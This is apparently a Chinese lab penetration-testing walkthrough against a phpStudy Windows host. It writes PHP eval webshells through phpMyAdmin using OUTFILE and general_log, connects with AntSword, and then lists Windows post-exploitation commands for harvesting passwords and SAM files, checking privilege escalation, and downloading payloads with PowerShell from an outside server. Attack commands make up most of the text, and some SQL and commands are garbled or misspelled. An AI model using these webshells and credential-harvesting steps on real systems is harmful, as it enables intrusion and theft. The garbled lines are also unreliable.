当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x01 开始
已知IP段如下:
公网:192.168.0.139
内网:192.168.244.139
192.168.244.130
1. 我们能先访问开放了Web 服务的主机
192.168.0.139 ,发现额哼?出现phpstudy 探针
2. 顺手Nmap 探测一下开放了有啥端口
3. 顺路目录扫描探测哈,发现存在phpmyadmin
5. 访问phpmyadmin,尝试是否存在弱口令,root/root或root/密码为空
6. 连接成功?那么我们直接访问刚刚目录扫描出来的phpmyadmin路径
http://192.168.0.139/phpmyadmin/index.php
输入账号root 密码root,成功登陆phpMyadmin
7. 此时,我们应该干嘛? 都拿到数据库后台管理权限了,还是root权限,不拿Webshell 的黑客,不是一个好黑客,日它。
这里有很多数据库,我们选择mysql,点击SQL 查询
8. 尝试写WebShell
写WebShell 需要两个条件:知道绝对路径和拥有执行权限
phpmyadmiN 后台写Webshell 的时候,发现自己还不知道绝对路径,记忆中好像看到刚刚在目录扫描中看到phpinfo.php,感觉有戏。走一波
CREATE TABLE agantable(cmd test NOT NULL);
INSERT INTO agantable(cmd) VALUE('<?php @eval ($_post('520');?>')
SELECT cmd FROM agantable INFO OUTEFILE ' '
DROP TABLE IF EXISTS agantable
select '<?php @eval($_POST[agan]);?>' into outfile 'C:/phpStudy/WWW/agan1.php'
日志来写入一句话select '<?php @eval($_POST[agan]);?>'
phpinfo页面
1. 操作系统为Windows 7 Business Edition Service Pack 1或Windows NT STU1 6.1 build 7601
2. 服务使用为Apache 2.0 Handler
3. 网站路径:C:/phpStudy/www (DOCUMENT_ROOT)
4. 网站真实IP:192.168.0.139 (SERVER_ADDR)
5. 一些敏感配置:发现,allow_url_include(关闭)
allow_url_include #该项如果开启,则支持远程文件包含,如果有存在文件包含的文件则可直接getshell,或可以使用php伪协议
disable_function #该项表示禁用的函数名
magic_quotes_gpc #php5.4以下版本有的函数,默认开启,会对特殊字符进行转移(php5.3.4以下 + magic_quotes_gpc off 可%00截断)
6. php版本信息为PHP 5.4.45
7. GOPHER 协议
也算是ssrf一部分吧,或者说主要靠ssrf利用起来,如果支持gopher,ssrf便没有压力咯
8. fastcgi (无开)
查看是否开启fastcgi和fastcgi的版本,可能导致解析漏洞、远程命令执行、任意文件读取等问题
9. php扩展路径(extension_dir)
php扩展的路径
10. asp_tags(无开)
php标签有四种格式,这个是asp风格的,默认不开启。可以上传.haccess/user.ini 绕过(php7移除)
11. magic_quotes_gpc(此版本无该参数)
魔术引号,它是用来实现addslshes()和stripslashes()这两个功能的,对SQL注入进行防御。
顺便提一嘴用了addslshes()除非是有编码问题要不然是不存在注入的。
12. open_basedir(无限制)
将用户可操作的文件限制在某目录下
13. imagick
这个的远程执行
14. libxml
libxml 2.9以前的版本默认支持并开启了外部实体的引用,
服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体
(含外部普通实体和外部参数实体)做合适的处理,会导致XXE。
15. memcache
Memcache未授权访问漏洞利用及修复:
http://blog.nsfocus.net/memcache-unauthorized-access-exploit/
16. redis
17. session
18. xdebug
19. fastcgi
20. 泄漏缓存文件地址(_FILES[“file1”])
向phpinfo() post一个shell可以在_FILES[“file1”]中看到上传的临时文件,
如果有个lfi,便可以直接getshell了(使用条件竞争)。
https://www.freebuf.com/articles/web/79830.html
Sercure_file_priv 变量值为空不可读写,且变量只读不可编辑
这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。
如果这个参数为空,这个变量没有效果;
如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
如果这个参数为NULL,MySQL服务会禁止导入和导出操作。
这个参数在MySQL 5.7.6版本引入secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改
windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。
0x02 日志利用提权
在php文件包含漏洞中我们有过这种利用方法:攻击时进行一次附带代码的url请求,在日志记录这次请求之后,通过文件包含漏洞来包含这个日志文件,从而执行请求中的代码。
mysql也具有日志,我们也可以通过日志来getshell。
mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志。
PS:因为为了性能考虑,一般general log不会开启。slow log可以定位一些有性能问题的sql,而general log会记录所有的SQL。
MySQL5.0版本,如果要开启slow log、general log,需要重启。
MySQL5.1.6版开始,general query log和slow query log开始支持写到文件或者数据库表两种方式,并且日志的开启,输出方式的修改,都可以在Global级别动态修改。
set global general_log = ON;
set global general_log_file = 'C:/phpStudy/www/agan1.php';
PS:此时开启了general_log 将所有查询语句记录到新指定的可访问的文件中
访问下看看http://192.168.0.139/agan1.php 看看,显示乱码(或我们看不懂的东西就对了),基本上成功上传Webshell了
打开蚁剑(蚁剑在手,天下我有)
蚁剑连接WebShell 操作步骤:
- 打开蚁剑右键【添加数据】
2. 添加关键参数:URL地址和刚刚自己写入日志的WebShell 密码,其次还有连接方式默认是PHP(我们渗透的网站也是PHP,那就保持默认吧)其它的参数也保持默认吧,需要再改
3. 双击URL地址连接
0x03 获取敏感信息
下面是整理的信息收集手段,具体来自哪里,我叶搞忘了,前段时间整理的时候,忘记写明出处了,如果有知道的,可以联系我,我附上链接
查看当前权限
或echo %USERNAME%
主机名
所属域信息
set 环境变量
wmic qfe list 获取补丁情况
但是其获取的内容不是很完整,只能看到补丁的编号,下面这条命令可以获取完整的补丁信息。
wmic是一个非常强大的工具,可以做很多事情,在渗透测试中有很多机会使用它
sc query state= all注册表服务信息
net view 获取在线主机信息
环境问题所致,所以看不到所处环境主机的信息
获取本地用户组、本地用户、本地管理员信息
1) 本地用户组
net localgroup
2)本地用户
net user
列举用户,查看是否有旧的用户配置文件没有清理
dir /b /ad "C:\Users\" dir /b /ad "C:\Documents and Settings\" #Windows XP and below
查看是否有其它人登录
qwinsta
查看注册表中跟用户自动登录有关的内容
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>null | findstr "DefaultUserName DefaultDomainName DefaultPassword"
查看Credential Manager中的内容:
cmdky /list
确定是否可以访问SAM和SYSTEM文件:
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
3)本地管理员信息
net localgroup administrators
获取本地共享信息
net view /a \ %COMPUTRNAME%
PS:本地共享目录也是我们需要关注的目录,这里面可能会有很多对我们提升权限有帮助的重要文件。
获取IP信息
ipconfig /all
获得本地端口开放与连接信息
netstat -ano
查看本地的计划任务
at或schtask
从计划任务中我们可以了解,这台主机每天做哪些任务,或者当前用户经常做哪些操作,甚至可以通过计划任务信息,可以获取到用户另外的帐号密码信息。
列出iis的站点有哪些
%windir%\system32\inetsrv\AppCmd.exe list site
保存系统上所有注册表信息
这几个命令比较暴力,有时候我们需要多次查询注册表信息,这样就需要执行很多条命令,我们可以把系统的所有注册表信息dump下来,本地分析,可以尽量减少执行命令的次数,减少日志量,减少被发现的几率:
reg export HKLM hklm.reg reg export HKCU hkcu.reg reg export HKCU hkcr.reg reg export HKCU hku.reg reg export HKCU hkcc.reg
获取系统日志信息
日志信息不管在任何系统上都是非常重要的,所以在Windows信息收集方面,收集日志信息是必不可少的操作,获取日志的方式有两种,一种是可以将系统的日志复制回本地分析,一种是使用Windows官方的工具将日志导出然后保存到本地。
复制日志文件:
copy C:\Windows\System32\winevt\Logs\System.evtx copy C:\Windows\System32\winevt\Logs\security.evtx copy C:\Windows\System32\winevt\Logs\application.evtx
使用工具导出:
..\psloglist -x system > system.log ..\psloglist -x security > security.log ..\psloglist -x application > application.log
查看连接驱动
net use wmic logicaldisk get caption,description,providername
查看安装了什么软件
dir /a "C:\Program Files" dir /a "C"\Program Files(x86)" reg query HEKY_LOCAL_MACHIN\SOFTWARE
有没有文件夹或文件权限配置错误,查看“Program Files”和“Program Files (x86)”下对“Everyone”和“Users”开放所有权限的文件夹
icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "Everyone" icals "C:\Program Files(x86\*)" 2>null |findstr "(F)" | findstr "Everyone" icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "BUILIN\Users" icals "C:\Program Files(x86\*)" 2>null | findstr "(F)" |findstr "BUILIN\Users"
查看“Program Files”和“Program Files (x86)”下对“Everyone”和“Users”开放修改权限的文件夹:
icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "Everyone" icals "C:\Program Files(x86\*)" 2>null |findstr "(M)" | findstr "Everyone" icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "BUILIN\Users" icals "C:\Program Files(x86\*)" 2>null | findstr "(M)" |findstr "BUILIN\Users"
你也可以从Sysinternals上传accesschk来检查可写文件夹和文件:
accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *
查看系统上正在运行的进程/服务有哪些,以及有没有暴露的内部服务:
tasklist /svc taskkill /v net start sc query
使用accesschk查看权限配置较弱的服务,以及能否重新配置
accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *
查看未引用的服务路径:
wmic service get name.displayname,pathma,e,startmode 2>nul | findstr /i "Auto" 2>nul | findstr /i /v "C:\Windows\\" 2>nul | findstr /i /v """
查看计划任务和自定义实现:
schtasks /query /fo LIST 2>nul | findstr TaskName dir C:\windows\tasks
查看启动项:
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
注意AlwaysInstallElevated是否启用:
reg query HKCU\Software\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看路由器信息
route print
查看ARP 缓存
arp -a
查看是否连接到其它主机
netstat -ano
查看hosts文件
C:\WINDOWS\System32\drivers\etc\hosts
检查防火墙
netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"
查看接口配置
netsh dump
查看SNMP配置
reg query HKLM\SYSTEM\CurrentControlSet'Services\SNMP /s
查看注册表中的密码
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
查找有没有未清理的sysprep或无人值守的文件:
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
如果服务器是IIS网络服务器,那么inetpub中有什么?是否存在隐藏的目录或者web.config文件:
dir /a C:\inetpub\ dir /s Web.config C:\Windows\System32\inetsrv\config\applicationHost.config
查看日志:
c:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
检查是否安装了XAMPP,Apache或PHP,以及是否有XAMPP,Apache或PHP的配置文件
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
查看是否有Apache网络日志
dir /s acces.log error.log
查看是否有其它有意思的文件,它们可能在用户目录中(桌面,文档等):
dir /s *pass* == *vnc* == *.config* 2>nul
检查其中是否有包含密码的文件
findstr /si password *.xml *.ini *.txt *.config 2>nul
在提权过程中,你需要将文件放到你的目标上。下面是一些简单方法:
Powershell Cmdlet(Powershell 3.0及更高版本):
Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"
Powershell One-Liner:
(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename","C:\Windows\Temp\filename")
虽然我们生活在阴沟里,但依然有人仰望星空!